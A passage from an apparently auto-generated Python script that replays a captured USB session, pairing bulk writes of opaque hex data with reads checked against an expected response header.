b\"\\x47\\x9B\\xBD\\x12\\x7F\\xA9\\x0C\\x5A\\x54\\xB9\\xE8\\xDE\")\n # Generated from packet 1995/1996\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1995/1996\")\n # Generated from packet 1997/1998\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x55\\xAD\\xD5\\x30\\x5B\\x4F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAD\\x78\\x92\\xA4\\x78\\x43\\xE8\\xF9\"\n b\"\\x38\\x9B\\x4C\\x5A\\x90\\x7B\\x28\\x98\\x04\\x90\\x96\\x73\\x7B\\x6E\\x65\\x84\"\n b\"\\xCE\\x1F\\x14\\x0A\\x31\\xFA\\x98\\xC8\\x4F\\x23\\xFC\\x3C\\xD1\\x75\\x06\\x74\"\n b\"\\x4F\\xD7\\xA1\\x39\\x9E\\x8E\\x5E\\x87\\x9F\\x66\\x87\\xB6\\xB0\\x95\\x12\\x57\"\n b\"\\x83\\x52\\x4D\\xE0\\xD9\\xAF\\xF3\\xDE\\xA1\\xEA\\x27\\x3B\\xD7\\x55\\xEB\\x38\"\n b\"\\x3D\\x68\\x1E\\xE1\\xD6\\x9E\\x9F\\xD4\\xB8\\x63\\x1E\\x2C\\x77\\x1D\\x4C\\xFE\"\n b\"\\xAF\\xEE\\x6C\\x57\\x13\\x26\\x45\\x9B\\x7C\\x91\\xAF\\x6A\\x0F\\x70\\xA3\\xE7\"\n b\"\\xA1\\x84\\xCD\\x81\\xDE\\x7D\\xB8\\xCA\\x63\\x1C\\x7B\\xD6\\x55\\x92\\x32\\x76\"\n b\"\\x2C\\x86\\xF2\\x98\\x49\\x40\\xD2\\x1B\\xD3\\xFA\\xDD\\x04\\x0D\\xDA\\x78\\x6E\"\n b\"\\x7A\\x2B\\x40\\xFE\\xDC\\xB2\\xC5\\xD5\\x35\\x12\\x2F\\x77\\xE2\\x5A\\x8D\\xD5\"\n b\"\\xEE\\x08\\x2F\\x28\\x10\\xB6\\xAD\\xC2\\xE3\\xEF\\x1C\\xB7\\x84\\x5C\\x92\\xBE\"\n b\"\\x01\\x7B\\x48\\x4F\\x2A\\x50\\x08\\xF4\\x32\\xEC\\xAC\\x2D\\x00\\x16\\x6C\\xC0\"\n b\"\\xDC\\x78\\xF1\\x9E\\x5A\\x1C\\xD1\\x6C\\x6D\\xD5\\x15\\x0A\\x10\\xAE\\x47\\xFA\"\n b\"\\x1A\\x8E\\x7B\\x9A\\x4D\\xC5\\x4B\\x7B\\xE2\\x3D\\xE9\\x85\\x23\\xCD\\xD9\\x24\"\n b\"\\xAC\\x69\\x62\\x10\\xC8\\xF5\\x5E\\x2F\\xAD\\xEB\\x7D\\xA6\\xBA\\xF8\\xFC\\xC8\"\n b\"\\x3E\\x42\\xB0\\x88\\x30\\x0A\\x5F\\x82\\xBE\\xB9\\x3F\\xAF\\xFF\\x5D\\x95\\xB6\"\n b\"\\x36\\x91\\x51\\x8E\\xDC\\xEE\\x5E\\xA8\\x09\\x3C\\x39\\x48\")\n # Generated from packet 1999/2000\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1999/2000\")\n # Generated from packet 2001/2002\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC0\\x6D\\x7F\\x66\\x68\\x25\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDC\\x7D\\xE3\\x83\\xDB\\x7A\\x87\\x85\"\n b\"\\xDC\\x97\\xF8\\xDC\\xF0\\x01\\x2B\\xC8\\x6C\\xCF\\xFF\\x66\\x69\\x93\\xCD\\x1C\"\n b\"\\x6E\\xAB\\x6A\\x5F\\x21\\x7E\\xA4\\x21\\x88\\x7B\\xC3\\x6A\\xDA\\x1E\\xD0\\xF2\"\n b\"\\x78\\x97\\x2A\\x05\\x1F\\x02\\x4F\\xF5\\xAD\\x78\\x7A\\x2C\\x64\\x45\\x56\\xAD\"\n b\"\\x26\\x46\\xDB\\xDC\\xAD\\xA1\\x6E\\xC6\\x90\\xE0\\x2C\\x8E\\x55\\xC0\\xDA\\x41\"\n b\"\\x15\\x8D\\x45\\xEA\\x52\\x68\\xBD\\x33\\x8D\\xBE\\x4B\\x6A\\xB6\\x29\\x1D\\x60\"\n b\"\\x71\\xBE\\x4E\\x0E\\xA3\\xEC\\x48\\x06\\x3C\\x0D\\xCC\\x12\\x1E\\x83\\x5B\\xD3\"\n b\"\\xC6\\xE4\\xD9\\x9E\\x8C\\x89\\x7F\\xB2\\x64\\x48\\x7C\\xCC\\x2E\\x91\\xEE\\xFE\"\n b\"\\x9F\\x54\\xCE\\x1B\\x9F\\xAF\\x85\\x78\\x4E\\x08\\xAE\\xFB\\x2F\\xB6\\xDD\\x17\"\n b\"\\xB6\\x74\\x2E\\xD8\\xBE\\xF2\\x90\\xC2\\x33\\xFC\\x12\\x2C\\x98\\xF6\\x28\\x1C\"\n b\"\\x15\\x29\\x99\\x46\\xF5\\x32\\xCE\\x9F\\xEC\\x7C\\x9B\\x8A\\x16\\xE1\\x1E\\x05\"\n b\"\\xEA\\xFF\\x31\\xCD\\x09\\xB6\\x12\\x7C\\x7E\\x15\\xC7\\xD8\\x23\\xEE\\x7A\\x6C\"\n b\"\\x74\\xE3\\xEA\\x27\\xC7\\x88\\x1B\\x7E\\xED\\xE5\\x9F\\x71\\x46\\x47\\x7A\\x39\"\n b\"\\xA2\\x4D\\xEE\\x5D\\x02\\x2C\\xCB\\x5A\\x00\\x32\\x02\\x00\\xD0\\x90\\xD6\\xE9\"\n b\"\\x50\\x59\\x8D\\xF2\\xCB\\xDE\\x7B\\x95\\x86\\x33\\x22\\x9B\\xC2\\x75\\x2B\\x75\"\n b\"\\xF5\\x67\\x1C\\xF0\\xF3\\x8B\\xB9\\xCB\\xA0\\x1D\\xC2\\x97\\x03\\x9E\\x2D\\xF7\"\n b\"\\x89\\x1F\\x49\\x61\\x7F\\xAD\\x3E\\x24\\x82\\xD9\\x44\\x0D\")\n # Generated from packet 2003/2004\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2003/2004\")\n # Generated from packet 2005/2006\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x68\\xB3\\xF8\\xC6\\x13\\x76\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x59\\x2D\\x29\\x57\\x83\\x5B\\x80\\x2A\"\n b\"\\x6A\\xA4\\x9B\\x0B\\xE6\\xC1\\x6B\\xDC\\xC1\\xDF\\x27\\xA6\\x0B\\xCF\\xE1\\x8A\"\n b\"\\xC0\\x1C\\x4F\\x95\\x01\\xF1\\x37\\xEB\\x5E\\xF9\\x75\\x7A\\x3A\\xA5\\xCB\\x64\"\n b\"\\x7C\\xC8\\x43\\xF2\\xC9\\x49\\x2E\\x2B\\x3D\\xF4\\xDC\\xF5\\x9C\\xA6\\x6E\\x02\"\n b\"\\xA2\\x93\\x44\\x2D\\x37\\x04\\x1E\\xE2\\xC0\\x47\\xCB\\x5A\\xED\\x0A\\x40\\x26\"\n b\"\\x42\\x9A\\xAA\\x73\\xC8\\x8A\\xA3\\x6C\\x6D\\xF2\\x35\\xDA\\x4A\\xEE\\xAB\\x7A\"\n b\"\\xEF\\x7B\\xBD\\xC8\\xBE\\x85\\x2A\\x57\\xE9\\xF0\\x7F\\xDF\\x0C\\x8B\\x77\\xEA\"\n b\"\\xED\\x88\\xA9\\x25\\x8B\\x46\\x5A\\xCA\\xBE\\x4F\\x5D\\x7A\\x84\\xD1\\xDC\\x7C\"\n b\"\\x9D\\x2F\\x2F\\x21\\x3D\\x92\\x2A\\x67\\xBD\\xF4\\x0E\\x5B\\xB0\\xDA\\x6F\\xF3\"\n b\"\\x3D\\xC8\\x95\\x4C\\x07\\xB6\\x8B\\xCC\\x13\\x2C\\xED\\xCC\\xBD\\xCE\\x5F\\x9E\"\n b\"\\xED\\x6B\\x95\\x66\\x9C\\xE3\\xAB\\xB6\\x98\\x38\\x02\\x2F\\x93\\xE0\\x6C\\x56\"\n b\"\\xE6\\x37\\x6B\\x1E\\x96\\xF5\\x20\\xC9\\x66\\xC4\\x34\\x1B\\xC3\\x77\\xE4\\x78\"\n b\"\\x12\\x50\\xA7\\xF3\\x43\\x21\\x4F\\xD3\\x6A\\x56\\x66\\x70\\x61\\x77\\x10\\xCF\"\n b\"\\xCE\\xBC\\xA5\\x2C\\xA7\\x4D\\xAC\\x55\\x10\\x42\\x9A\\x00\\x7D\\x5C\\x02\\x18\"\n b\"\\x91\\x9B\\x84\\xE1\\x9C\\x83\\x51\\x26\\xE9\\xCA\\x36\\x39\\x95\\x42\\xAD\\x37\"\n b\"\\x61\\xDD\\xEB\\x79\\x78\\xB5\\x1D\\x32\\x9C\\xE3\\xBF\\xA7\\x99\\xC3\\x30\\x61\"\n b\"\\xCC\\x3C\\xEE\\x2F\\xC6\\xD5\\x42\\xF9\\xC5\\xFD\\xE3\\x88\")\n # Generated from packet 2007/2008\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2007/2008\")\n # Generated from packet 2009/2010\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x52\\x9C\\x75\\xB1\\x0B\\x2F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x78\\x47\\x54\\xB5\\xCA\\x65\\x59\\x8C\"\n b\"\\x89\\xDF\\x5E\\xA5\\x1A\\x34\\x4F\\x14\\x5B\\x68\\x80\\x5C\\x48\\x58\\xC0\\xEF\"\n b\"\\x74\\xCB\\xD5\\x4B\\x42\\x53\\x66\\xD7\\x0E\\xF6\\x7D\\x40\\xE9\\x2F\\x63\\x90\"\n b\"\\x06\\xE6\\xE9\\x5A\\x8E\\x60\\x53\\x94\\x8C\\x43\\x2C\\x4D\\x61\\x34\\x87\\x1E\"\n b\"\\x32\\x7D\\xDC\\x4D\\xAB\\x03\\x58\\x3C\\x84\\x80\\xE5\\x15\\x49\\x50\\x4E\\x14\"\n b\"\\x7B\\x5A\\x23\\xB4\\x97\\x2C\\xA3\\x3F\\x40\\x7E\\x34\\x71\\xDC\\x4E\\x27\\x3D\"\n b\"\\x65\\x3F\\x99\\x74\\x3B\\x29\\xBF\\x8C\\x0E\\x93\\x54\\x9C\\x58\\x2F\\x40\\x2B\"\n b\"\\x5F\\x0E\\xDE\\x71\\x94\\x8F\\x77\\xD9\\x01\\x78\\xE6\\x0D\\xEB\\xDF\\xAD\\xBC\"\n b\"\\xAD\\x25\\xDA\\x5E\\xDD\\xFA\\x28\\x47\\x0E\\x9E\\x9E\\x91\\xB2\\xAA\\x52\\x24\"\n b\"\\x34\\xFF\\x95\\xD5\\x76\\x12\\x37\\x3F\\x18\\xC8\\xD2\\xDB\\x1C\\x21\\xFB\\x6A\"\n b\"\\xDA\\x93\\x33\\x4E\\x3C\\xB0\\x9C\\x8F\\x55\\xB6\\x87\\xB2\\xBE\\x73\\xD0\\x5F\"\n b\"\\xF4\\x48\\xFA\\xBC\\xF3\\x03\\xF3\\xD8\\xA9\\x4E\\xE1\\xB2\\x20\\x41\\x7C\\xCC\"\n b\"\\xA6\\xCE\\x4F\\xF9\\xA1\\x9E\\xC6\\xED\\xC4\\xCF\\xCA\\x80\\xFF\\x79\\x00\\x9A\"\n b\"\\x69\\x3E\\x70\\xB8\\xCE\\x75\\xD1\\xBF\\x57\\x89\\x99\\x43\\xE5\\xF8\\xF3\\x77\"\n b\"\\x92\\xCB\\x7F\\xC5\\x6F\\x19\\xF8\\x03\\x41\\x48\\xC4\\xF5\\x88\\xA2\\xCF\\x68\"\n b\"\\x3F\\x82\\x80\\x2C\\x6C\\xDE\\xDC\\x98\\x5F\\xD2\\x22\\xA4\\xB6\\x44\\xC1\\xDB\"\n b\"\\x4A\\xBE\\x96\\xC7\\xF0\\x37\\x65\\xFB\\x4D\\xA6\\xB2\\xD9\")\n # Generated from packet 2011/2012\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2011/2012\")\n # Generated from packet 2013/2014\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x88\\xA3\\xBC\\x27\\xE6\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA8\\xBD\\x7B\\x3D\\x53\\x3C\\x8E\\xDD\"\n b\"\\x13\\x66\\xD0\\xD0\\x21\\xF4\\x40\\x44\\x88\\xBC\\x08\\xDB\\x89\\x29\\xA8\\x57\"\n b\"\\x12\\x26\\x27\\xDF\\xCE\\x1A\\x2D\\x54\\x1E\\xC9\\x1E\\x8C\\xCF\\x93\\xAA\\x32\"\n b\"\\x4E\\x9C\\x8C\\xE0\\x3B\\xED\\xB5\\xCC\\x3C\\xCA\\x13\\x5E\\x0F\\x8B\\x1C\\x40\"\n b\"\\x5B\\x8F\\xAE\\xDD\\xCC\\x6A\\x42\\x02\\xA9\\x1D\\xAC\\xBC\\x63\\x6C\\xE1\\xFC\"\n b\"\\x66\\xCA\\x3A\\x7F\\x05\\x61\\x08\\xD9\\xBB\\x20\\xCA\\xDC\\xFC\\x58\\xEB\\x94\"\n b\"\\x7B\\xC1\\xD4\\x72\\x3C\\xD9\\x07\\x25\\xEB\\x2B\\xB8\\x5B\\x5B\\x7C\\xF0\\xDB\"\n b\"\\xB2\\x5F\\x0A\\xCF\\xF9\\x85\\x2F\\xBD\\x42\\xA9\\xD6\\x86\\x8F\\x6D\\x97\\x22\"\n b\"\\xBA\\xC6\\xE2\\xB3\\xEE\\xDC\\xA0\\x19\\x4F\\xB3\\x90\\x2C\\xF4\\x03\\xDE\\x02\"\n b\"\\x16\\x50\\x01\\x57\\x38\\xA9\\x72\\x63\\x6D\\x79\\xE1\\xAD\\x6E\\x75\\x51\\xEA\"\n b\"\\x61\\xB6\\x04\\x46\\x58\\xB4\\x16\\xCA\\x1A\\x40\\x13\\x57\\x34\\xA6\\x98\\xFD\"\n b\"\\xE4\\x4D\\xF3\\xCC\\xE1\\x92\\x26\\x3B\\x60\\xA5\\x14\\x62\\x9F\\x8A\\xDB\\xC9\"\n b\"\\x9C\\x64\\x9B\\x2F\\x5B\\x47\\xCC\\x04\\xE3\\x55\\x04\\x7A\\x7D\\x13\\x70\\xAC\"\n b\"\\x8E\\x4C\\xC3\\xC5\\x53\\xD5\\x8B\\x57\\x58\\x87\\xAE\\xCF\\xDA\\xF0\\xE4\\x3C\"\n b\"\\x38\\xA5\\x85\\x1D\\x84\\x81\\xA4\\x59\\x94\\xE7\\xCF\\x7C\\x73\\x78\\xD2\\x54\"\n b\"\\x63\\x88\\x58\\xFA\\xC2\\x30\\x7E\\x1E\\xFA\\xB6\\x66\\x6E\\xD3\\xE8\\x36\\x1F\"\n b\"\\x9F\\xB1\\x83\\x5B\\xF2\\xE8\\x67\\xE3\\x28\\x7D\\x78\\x36\")\n # Generated from packet 2015/2016\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2015/2016\")\n # Generated from packet 2017/2018\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x92\\x18\\x8C\\x3F\\xFC\\x1B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\xDE\\xD1\\xDE\\x2F\\x40\\x99\\x9F\"\n b\"\\x19\\x92\\xB7\\xB0\\x80\\x25\\x95\\x3D\\x05\\xE5\\x19\\xDD\\x4E\\x7A\\xAD\\x6F\"\n b\"\\xB4\\x50\\x56\\x1D\\x43\\x99\\x5E\\x3E\\xDA\\x4A\\x3F\\xC1\\x6A\\x97\\xB6\\x70\"\n b\"\\x08\\x5A\\xA2\\x68\\xD7\\x3F\\x6F\\xCF\\x1F\\xCB\\xF7\\x61\\x41\\x29\\x11\\xAF\"\n b\"\\xE3\\xB9\\x0D\\x8F\\xE0\\x59\\x41\\x4D\\x4A\\xCF\\x54\\x47\\x69\\xA7\\x63\\xAC\"\n b\"\\x5C\\x55\\x69\\xA2\\xBD\\x69\\x07\\x69\\xDF\\xE1\\xEC\\x77\\xF5\\x92\\xDD\\xDF\"\n b\"\\x7E\\x2E\\x43\\xC9\\xF0\\xC0\\x24\\x10\\x24\\x29\\x3B\\x79\\x5E\\xED\\xFB\\x4C\"\n b\"\\x5B\\x75\\x36\\x97\\x15\\x20\\x1A\\xB7\\xE6\\x95\\x18\\x4E\\x0B\\x2F\\x3A\\x86\"\n b\"\\x9D\\x49\\x08\\x64\\xF7\\xDB\\xC9\\xA1\\x9A\\x82\\x2A\\x2D\\xDD\\xB7\\x24\\xB7\"\n b\"\\xBE\\xB3\\x7E\\xD9\\x8F\\x15\\x87\\x1F\\x03\\x9C\\x70\\x6E\\xE2\\x91\\x48\\x65\"\n b\"\\xBB\\xF5\\x06\\x8C\\x9D\\x99\\x54\\x1A\\x88\\xA2\\xAB\\x0A\\x24\\x66\\xFE\\x6E\"\n b\"\\xE3\\xC8\\xA4\\x7D\\x70\\x40\\xB8\\xB2\\x4C\\x37\\xB0\\x1D\\xD3\\xC0\\xA9\\xEC\"\n b\"\\xE9\\x84\\x8D\\x42\\xC8\\x44\\x47\\x75\\x27\\x83\\x39\\x98\\x68\\xB1\\x55\\x2A\"\n b\"\\x06\\x31\\x4F\\x99\\xC4\\x69\\x3C\\x9A\\x51\\xA5\\xB0\\x97\\xA9\\x74\\xF1\\xE1\"\n b\"\\xBF\\x6D\\x10\\xF4\\xA2\\x7A\\x6C\\xE8\\x09\\x17\\x27\\xE5\\x2D\\x65\\xA7\\x17\"\n b\"\\x3E\\x1D\\x3D\\xF3\\xAE\\x46\\x5F\\x4A\\x70\\x70\\xDF\\xBF\\xC0\\x20\\x0E\\x1E\"\n b\"\\x75\\x8A\\xFA\\xA6\\x56\\xF5\\x9E\\xFC\\xA1\\xAB\\x93\\x52\")\n # Generated from packet 2019/2020\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2019/2020\")\n # Generated from packet 2021/2022\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x66\\xA2\\x2B\\xCB\\xF5\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8B\\x25\\x82\\x1C\\x9F\\xC6\\x64\\x65\"\n b\"\\x3B\\xB1\\x24\\x30\\xE2\\x86\\xC5\\x23\\x9B\\xFD\\xC9\\xDE\\x79\\x61\\x89\\x73\"\n b\"\\x13\\x43\\xFB\\x95\\x78\\x2A\\xC0\\x94\\x3B\\x1B\\x55\\xDD\\x99\\x3F\\x18\\xEC\"\n b\"\\x1B\\x94\\x19\\x19\\x1C\\x85\\xEE\\x3C\\x45\\xC4\\xDC\\x17\\xFC\\x46\\x3D\\xEA\"\n b\"\\xCF\\xC6\\xA2\\x72\\xBF\\x15\\xA0\\x07\\xBC\\xDE\\x1B\\x5C\\x7C\\x86\\xFD\\x3F\"\n b\"\\x7D\\x8D\\x55\\x32\\x36\\x3D\\x8E\\x45\\x1A\\x05\\xB7\\x8B\\x9D\\xF8\\xB0\\x21\"\n b\"\\x56\\xC7\\x81\\x38\\x0D\\x88\\x1D\\x6F\\x49\\x1E\\xE7\\x7E\\x09\\x6A\\x59\\xE2\"\n b\"\\x37\\x4E\\x4D\\xD0\\x8A\\x6F\\xE6\\x4E\\xBC\\xD7\\x50\\x48\\xCE\\x4D\\x0E\\x5C\"\n b\"\\x22\\x37\\x8F\\xDB\\x09\\xD4\\xD6\\x41\\x40\\x91\\x94\\xD9\\x48\\xA3\\x5F\\x03\"\n b\"\\x9C\\x87\\xD6\\x56\\xCA\\x44\\xB7\\x0A\\x68\\x15\\x2D\\x7E\\x97\\xF0\\xD2\\x32\"\n b\"\\x8C\\x51\\x3E\\xE9\\x7A\\xD7\\xF7\\x62\\xC9\\xB3\\x3B\\x53\\xA1\\x73\\xD6\\x96\"\n b\"\\x35\\x5E\\xBA\\xAE\\xD4\\x9C\\xB8\\x7F\\x5A\\x97\\x61\\x46\\x81\\xC1\\x64\\x67\"\n b\"\\x73\\xF4\\xC1\\xBC\\xF9\\xBF\\xFA\\x72\\xBF\\x3D\\x1F\\x33\\x5C\\x01\\x6F\\xC0\"\n b\"\\x45\\x08\\xA7\\x93\\xCD\\x24\\x20\\x57\\x58\\xC3\\x84\\xFF\\x65\\x62\\xC5\\x91\"\n b\"\\xEB\\x65\\xB4\\x15\\xCB\\x6C\\x9E\\x80\\x80\\x08\\x84\\x1E\\x44\\xEB\\xAA\\x78\"\n b\"\\x01\\x27\\x1B\\x3B\\x93\\x65\\xE0\\xC3\\x25\\x47\\x52\\xFD\\x20\\x4E\\x1E\\xF4\"\n b\"\\x27\\xA6\\xCA\\xA3\\x92\\x68\\xA5\\xFF\\x05\\x23\\xEA\\x7A\")\n # Generated from packet 2023/2024\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2023/2024\")\n # Generated from packet 2025/2026\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2F\\xC8\\x1C\\xA2\\xCA\\x1E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x57\\xA4\\x67\\xB7\\x9B\\xC2\\xF1\\x08\"\n b\"\\x12\\x7F\\x45\\x81\\x99\\x90\\xBB\\x13\\x9E\\x4A\\x78\\x90\\xF7\\x49\\xDF\\x94\"\n b\"\\xBD\\x1D\\x45\\xDB\\x1E\\x01\\xF7\\xCE\\xA2\\x8D\\x75\\x57\\x93\\x10\\x78\\xCF\"\n b\"\\x2B\\xC2\\x42\\xBC\\xAF\\xE9\\x3D\\x6C\\x7F\\xD8\\x18\\xE5\\xD5\\x17\\x9E\\xC6\"\n b\"\\x39\\xF8\\xEB\\xEA\\xEF\\x16\\xB5\\x1B\\x47\\xB7\\xD3\\x23\\xC8\\x2E\\x8A\\x3B\"\n b\"\\x58\\xD2\\xAF\\x1F\\x4F\\x10\\x83\\xE6\\xD4\\x4D\\x26\\xC9\\xD2\\x58\\xD9\\xBC\"\n b\"\\x6D\\x88\\x1F\\x8B\\xF0\\x8B\\xEB\\x8C\\x6A\\x55\\xCE\\x12\\x21\\xE4\\x13\\x92\"\n b\"\\xD6\\x37\\x10\\xB0\\x93\\xC9\\xB7\\xFF\\xCE\\xA1\\x74\\x62\\xF3\\x00\\xC0\\x1E\"\n b\"\\x66\\x1E\\xF6\\x1E\\xF8\\xE5\\x27\\x8E\\x49\\x19\\x9A\\xB2\\xD4\\x03\\x5B\\xCA\"\n b\"\\x40\\xB6\\x55\\x81\\xC4\\xD1\\x31\\x34\\xE3\\xE9\\x01\\x5C\\x1D\\x4A\\xDD\\x58\"\n b\"\\xA6\\x4F\\x48\\x62\\x28\\x86\\xA3\\xCD\\x54\\xAC\\x1A\\x46\\xA7\\x4F\\x9F\\x58\"\n b\"\\xB6\\xDF\\xA1\\xBF\\x02\\x17\\x50\\x5F\\xF5\\x70\\xD5\\x0E\\x42\\xFD\\x6D\\x0C\"\n b\"\\x44\\x8D\\x5D\\x7A\\x02\\xA5\\xA7\\x47\\x9E\\x77\\xBC\\xF9\\x24\\x03\\xED\\x5E\"\n b\"\\x6E\\x7E\\x60\\x54\\x6B\\x9E\\xAB\\x94\\x30\\x06\\xC1\\xEB\\xB5\\xFC\\xF7\\x2D\"\n b\"\\x5C\\xBA\\xD3\\xDF\\x9C\\xFA\\x9A\\x67\\x71\\xFC\\xFD\\x63\\x4C\\xF9\\x29\\xF3\"\n b\"\\xAC\\x3E\\x64\\xEF\\x1D\\xA3\\x18\\x8A\\x86\\xA9\\xAC\\xFB\\xD5\\xFD\\x93\\x90\"\n b\"\\xDB\\xA8\\x44\\xCA\\xE1\\xB8\\xFD\\xBA\\x5B\\xCF\\xCC\\x0C\")\n # Generated from packet 2027/2028\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2027/2028\")\n # Generated from packet 2029/2030\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x82\\x77\\x29\\x42\\xBE\\x42\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x87\\x91\\x14\\x48\\x61\\x01\\xE3\\xA7\"\n b\"\\x2B\\x52\\x94\\x8D\\x41\\x7D\\x19\\x6F\\x19\\x85\\x79\\x8A\\x62\\x6B\\xAF\\xB6\"\n b\"\\x2F\\x51\\xAD\\x30\\xD4\\xE3\\xE7\\x0B\\x4E\\x41\\xEF\\x3D\\x55\\x13\\xB3\\x86\"\n b\"\\x0E\\x79\\x39\\x77\\x63\\x45\\x05\\xF4\\x46\\x37\\xB9\\xB4\\xE5\\x66\\x57\\xA3\"\n b\"\\x39\\x84\\xB8\\x2F\\x3E\\xEE\\x78\\x58\\xDC\\xDC\\x4B\\x82\\xD6\\x3F\\xA4\\x6B\"\n b\"\\xC4\\xF0\\x00\\xEC\\x25\\x2F\\x99\\x05\\x97\\xC7\\xDA\\x98\\x10\\xF2\\x4D\\x4D\"\n b\"\\x2E\\x2D\\xFB\\x60\\xF4\\xC4\\x63\\xBD\\x3F\\x2C\\x81\\x30\\x38\\xA2\\x9B\\x8D\"\n b\"\\x10\\xBC\\xFC\\xA6\\xFB\\x1B\\x24\\x77\\x82\\x5E\\x70\\x38\\x52\\xD7\\x53\\xF3\"\n b\"\\x2F\\xF5\\xB0\\x97\\xD9\\x6C\\x28\\xB5\\x19\\xD5\\xFF\\xAF\\x7B\\x46\\x09\\x9C\"\n b\"\\xDF\\x7B\\x46\\xC1\\xA9\\xB9\\xD0\\xA7\\x8E\\x81\\x56\\x58\\xB8\\x88\\xA7\\xCC\"\n b\"\\xE7\\x8F\\x6D\\x42\\xF3\\xE4\\xDB\\x5B\\xE6\\xD2\\x0A\\x37\\x1A\\x52\\xDD\\x52\"\n b\"\\x9F\\xB2\\x30\\xC1\\x05\\xE9\\x91\\x0B\\xA1\\x62\\x01\\xE2\\xE1\\x5D\\x1D\\xF7\"\n b\"\\x90\\xAF\\xDE\\xF7\\xD0\\xC3\\x3C\\xAE\\xB1\\xE5\\x91\\x5B\\x52\\x19\\xBA\\xE3\"\n b\"\\x4B\\xB1\\x8B\\x4A\\x78\\x85\\x89\\x7A\\xA1\\xCC\\xD4\\x5D\\x27\\x0E\\x6D\\xA5\"\n b\"\\x5D\\xF3\\xAA\\x80\\x50\\xF2\\x34\\xE1\\x55\\x1F\\x36\\x15\\xA2\\x4E\\x79\\x3A\"\n b\"\\x78\\x22\\xDA\\xA4\\xC0\\x91\\x71\\x08\\x6A\\x0D\\x1B\\x33\\x05\\xB5\\xE1\\xC3\"\n b\"\\x4C\\x7B\\x91\\xA8\\x19\\x89\\x8E\\x2B\\x4E\\x92\\xE2\\x85\")\n # Generated from packet 2031/2032\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2031/2032\")\n # Generated from packet 2033/2034\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x00\\x19\\x76\\x47\\x7D\\x73\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB1\\x66\\xA6\\x28\\x22\\x8F\\x24\\x6B\"\n b\"\\x9C\\x4F\\xA6\\x2A\\xFC\\xF0\\x44\\x28\\x7B\\x18\\x8A\\xB3\\xDF\\xD6\\xB3\\x99\"\n b\"\\x6C\\xE5\\x26\\x0B\\xF4\\x7D\\x60\\x88\\xC3\\xE6\\x26\\xC3\\x7E\\x46\\x54\\xE0\"\n b\"\\x77\\xB5\\xED\\xCF\\x86\\x8D\\x27\\x16\\xC8\\xAC\\x89\\xF6\\x75\\xD0\\x22\\x89\"\n b\"\\xB1\\xFE\\xFE\\xEB\\xD1\\x7C\\xD1\\xC6\\xDB\\x80\\xF9\\x43\\x91\\x99\\xA3\\x02\"\n b\"\\xE2\\xB5\\x4A\\x73\\x06\\x2D\\x19\\x60\\xBF\\x19\\xD6\\x91\\x30\\x6A\\x89\\x08\"\n b\"\\xA8\\x06\\x19\\x5E\\xA7\\xE7\\xE9\\x83\\x3D\\xD2\\x68\\x1D\\x8E\\x6C\\x51\\x76\"\n b\"\\x2A\\x36\\x08\\xDB\\x9A\\x53\\x3E\\xBA\\xB2\\xC2\\xA7\\x5E\\x9E\\xBA\\xD5\\x72\"\n b\"\\xBC\\x45\\xA0\\xEE\\x9B\\xCE\\x1E\\x67\\x58\\xE6\\x87\\x8B\\x8B\\xE4\\x73\\xB9\"\n 